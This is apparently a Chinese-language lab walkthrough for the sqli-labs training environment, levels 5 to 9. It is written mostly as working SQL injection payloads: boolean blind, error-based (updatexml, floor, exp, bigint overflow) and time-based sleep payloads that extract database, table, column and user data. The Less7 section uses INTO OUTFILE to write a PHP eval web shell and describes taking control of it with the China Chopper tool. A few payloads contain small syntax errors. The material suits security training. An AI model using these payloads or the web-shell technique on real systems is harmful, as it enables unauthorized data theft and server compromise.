- 注1:从本节开始忽略order by的步骤,因为都是3所以为了方便不再进行赘述
- 注2:less5-10中,除了less7要求是用outfile 的方式来进行注入,其他的关卡界面都一样,只有sql语句返回true才会显示语句,否则不显示如下
前置知识补充(方便查找)
在第一关的时候已经给出了爆数据库名,表名,字段名,字段数据的方法,第五关中主要讲盲注,这两块的知识点贯穿整个靶场,下面我写一下盲注,延时注入,布尔注入部分的其中一种写法(后面我的惯用写法)
1.布尔注入:
1.left() 2.ascii(substr(str,begin,length))
2.报错注入:
1.updatexml(1,concat(1,sql语句),1)
3.延时注入:
1.if(xx,1,sleep(5))
报错注入只要改sql语句部分其他部分硬抄,布尔注入和延时注入是用于猜解的,报错注入只可以在有报错信息显示的时候才能用
下面总结一下利用报错注入获取信息的sql注入代码
#语法:
updatexml(1,concat(1,sql语句),1)
#获取当前数据库名
updatexml(1,concat(1,database()),1)
#爆所有数据库名
updatexml(1,concat(1,(select GROUP_CONCAT(schema_name)FROM information_schema.schemata)),1)
##爆某数据库所有表名
updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名" )),1)
#爆所有列名
updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name="表名" )),1)
#爆某一列的所有数据
updatexml(1,concat(1,(SELECT GROUP_CONCAT(列名) FROM 表名)),1)
一.less5
1.测试
- 单引号测试:在id =1’ ,结果报错,说明此处可以注入,根据报错结果可知是单引号闭合
- 逻辑测试:id=1’ and 1=1 –+ ,可以正常回显,and 1=2 –+,不显示内容,说明存在布尔sql盲注,返回值为true就正常回显,返回值false就回显异常
网页部分源码:(如果sql语句返回true就输出语句,否则不输出)
猜测sql语句:
select xx from xx where id ='XX'
2.布尔盲注
布尔盲注 :就是指利用逻辑关系,看sql语句的返回值是true还是false来判断猜解的内容是否正确
补充知识:
#回显的n行的1,n=users表中的行数
select 1 from users;
#id=-1是不存在的值,这个时候条件筛选的返回值是false,不会有值搜索出来
select 1 from users where id =-1
#id=1是存在的值,这个时候条件筛选的返回值是true,会显示一行的1
select 1 from users where id =1
方法一 : 盲注 (如果纯手动破解,效率低):
(1)用函数length()进行盲注
下面以测试数据库名长度为例,可以正常回显说明数据库名长度为 8
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length(databases())=8 --+
(2)用函数left()进行盲注
说明:left(str,x);表示从左往右显示str的x个字符,返回值是ASCII码;
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),1)='s' --+
可以正常回显说明第一个字符确实是’s’,接着用left(database(),2)=’se’,会发现还是可以正常回显,所以第二个字符确实是’e’
注 : left的比较规则:和C语言的一样,比较第一个不同的字符
(3)用substr()和ascii()进行盲注
说明:
substr(str,begin,len):第一个参数是字符串,begin是字符串的开始点,len是截取的长度
ascii(str):返回str的ascii码
判断security下的第一个表名的第一位字符的ascii码
#语法
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
#注入的代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1)--+
- 想要查第二个字符后面改成substr(xx,2,1)即可***
- 想要查第二个表只要把limit 0,1改成limit 1,1即可
注:这里的database()就是’security’;
用法:先截取数据库表名然后转换成ascii码进行判断,不断拆解判断每个点
(4)用regexp进行盲注
regexp的用法:str regexp’^xxx’ ,看str中是否有xxx,必须从前向后匹配,比如 username regexp’^ser’ 返回的是false ,^user返回的是true
regexp函数的运用
http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp'^username'limit 0,1)--+
拆解下面的sql语句含义:在users的表中select 1并且条件是判断columns中是否有username这个字段,如果有,则整句返回1,否则返回空
select 1 from information_schema.columns where table_name='users' and column_name regexp'^username'limit 0,1
(5)利用ord()和mid()进行盲注
- ord(XX):把字母转化成ascii码
- mid(str,begin,length):截取str,begin为起点,1表示第一个字符,length是截取长度
ord()和mid的应用:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and
ord(mid((select IFNULL(username,0x20)from security.users order by id limit 0,1),1,1))=68--+
#其实这样也可以,不过会不太严谨
ord(mid((select username from security.users order by id limit 0,1),1,1))=68--+
方法二(用burpsuit暴力破解)
具体方法以后再补,先跳过
3.报错注入
(1)报错注入的手段很多,这里讲一个我习惯用的(博客后面报错注入的时候基本也用这个):
# 语法:
select updatexml(1,concat(1,sql语句),1)
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(1,database()),1)--+
注入成功!
下面的手法看情况用,天书Background2讲的很详细
http://127.0.0.1/sqli-labs/Less-5/?id=1'
union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
注:floor报错注入改的是from后面和select user()那里的代码,其他地方不用变,如果user表或者rand被禁用,就换图片中的写法
原理:https://blog.csdn.net/qq_43504939/article/details/90046342
#语法
select exp(~(select * FROM(SELECT USER())a)) //double数值类型超出范围
#注入代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select (exp((select * FROM(SELECT USER())a))),2,3--+
(3)利用bigint溢出进行报错注入
#语法
select !(select * from (select user())x) -(ps:这是减号) ~0
#注入代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
4.延时注入
代码含义:以猜数据库名的第一个字符为例子,如果猜错了ascii码额值,就执行sleep(5),网页要等待5s才刷新,否则立刻会刷新
http://127.0.0.1/sqli-labs/Less-8/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
二.less6
同less5 ,只不过变成双引号闭合,把’改成”即可,其他地方相同
三.less7
- 一句话木马
网页提示用out file来解决<?php @eval($_POST["root"]); ?>#root是我设置的密码,可以随便改,必须用双引号括起来
- less7代码:
注意点http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]); ?>' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\a.php' --+
- 本关要构造’))才能形成正确闭合
- 要知道文件完整路径才能进行入侵
- 要具有写文件的权限
- 把一句话木马写入Less7的文件夹下,然后再用中国菜刀等web工具打开进行入侵
中国菜刀的用法:
进行木马写入后,比如上面的a.php,然后右键添加,把php文件的网址路径写入,然后密码写在右侧小框里,确认后回到主页点击刚刚添加的那一项就可以进入文件夹了了
四.less8
这里采用的是单引号闭合id=’1’,盲注手法同less5
我这里随便举一个延时注入为例
http://127.0.0.1/sqli-labs/Less-8/?id=1' and If(ascii(substr(database(),1,1))=117,1,sleep(5))--+
五.less9
这一关我们先加单引号(id=1’)进行测试后发现数据页面正常回显(实际上sql语句也确实是单引号字符型),然后尝试 and sleep(5),发现页面会执行sleep函数,说明存在注入漏洞
后面可以直接用延时注入的手法查看数据即可,方法其实同less5,但是下面我再延时一遍如何利用各个函数调取猜解信息 (这里是对于布尔盲注而言的,and xxx来判断xxx 返回的是true还是false)
1.猜解数据库名
If(ascii(substr(database(),1,1))=115,1,sleep(5))
2.猜测 security 的数据表:
用limit 控制想要猜的表If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))
3.猜测表中的列名,以users表为例
If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))
4.猜测 username 的值:
If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+